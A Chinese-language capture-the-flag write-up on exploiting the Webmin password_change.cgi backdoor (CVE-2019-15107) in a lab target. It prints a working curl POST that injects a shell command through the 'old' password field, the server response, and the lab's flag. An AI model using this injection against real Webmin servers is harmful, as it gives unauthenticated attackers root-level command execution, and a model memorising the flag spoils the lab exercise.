玄机靶场-webmin未授权远程代码执行漏洞 WP
玄机靶场-webmin未授权远程代码执行漏洞 WP
入门级渗透题,1个步骤,考察 CVE-2019-15107——Webmin ≤1.920 版本中password_change.cgi的命令注入漏洞,无需任何认证即可直接执行系统命令,读取/root/flag.txt。
1. 漏洞背景与原理
Webmin 是一款广泛使用的基于 Web 的 Unix/Linux 系统管理工具,默认运行在 10000 端口(HTTPS)。2019年8月,研究人员在 Webmin 1.890 版本中发现了一个后门(CVE-2019-15107),该后门被植入在password_change.cgi文件的密码过期处理逻辑中。
漏洞的核心在于:当用户密码已过期(expired=2)时,系统会调用password_change.cgi处理密码变更请求。在处理old(旧密码)参数时,代码直接将其拼接到 shell 命令中执行,而没有做任何过滤或转义。这意味着攻击者可以在old参数中注入任意 shell 命令,且整个过程无需登录认证。
受影响版本:Webmin 1.882 ~ 1.921(后门植入期间发布的版本)。
2. 信息收集与端口确认
靶机 IP 为69.230.237.102,Webmin 默认运行在 10000 端口。先确认服务可达:
curl-sk-o/dev/null-w"%{http_code}""http://69.230.237.102:10000/"# 返回 200,服务正常运行访问首页可以看到标准的 Webmin 登录界面,确认目标是 Webmin 服务。
3. 漏洞利用
构造 POST 请求发送到/password_change.cgi,关键参数:
user=root:指定目标用户expired=2:触发密码过期处理流程(这是触发漏洞的关键)old=test|cat /root/flag.txt:管道符注入,在旧密码验证失败的同时执行命令new1=test&new2=test:新密码(随意填写)
curl-sk-XPOST"http://69.230.237.102:10000/password_change.cgi"\-H"Content-Type: application/x-www-form-urlencoded"\-H"Referer: http://69.230.237.102:10000/session_login.cgi"\--data"user=root&pam=&expired=2&old=test|cat /root/flag.txt&new1=test&new2=test"服务端在处理请求时,执行了test|cat /root/flag.txt这条命令,并将cat /root/flag.txt的输出拼接在错误信息中返回:
Failed to change password : The current password is incorrect flag{e6d4db165611d5ec9be0f89c2a95fc8b}命令执行成功,flag 直接出现在响应体中。
Flag 1:flag{e6d4db165611d5ec9be0f89c2a95fc8b}
总结
这道题完整还原了 CVE-2019-15107 的利用过程:Webmin 的密码过期处理功能在未认证状态下可访问,且对old参数没有做任何过滤,导致攻击者可以通过管道符注入任意命令。整个利用过程只需一条 curl 命令,是典型的"后门级"漏洞——代码中存在的不是逻辑缺陷,而是被恶意植入的后门代码。
Flag 汇总:
- 读取 /root/flag.txt:
flag{e6d4db165611d5ec9be0f89c2a95fc8b}
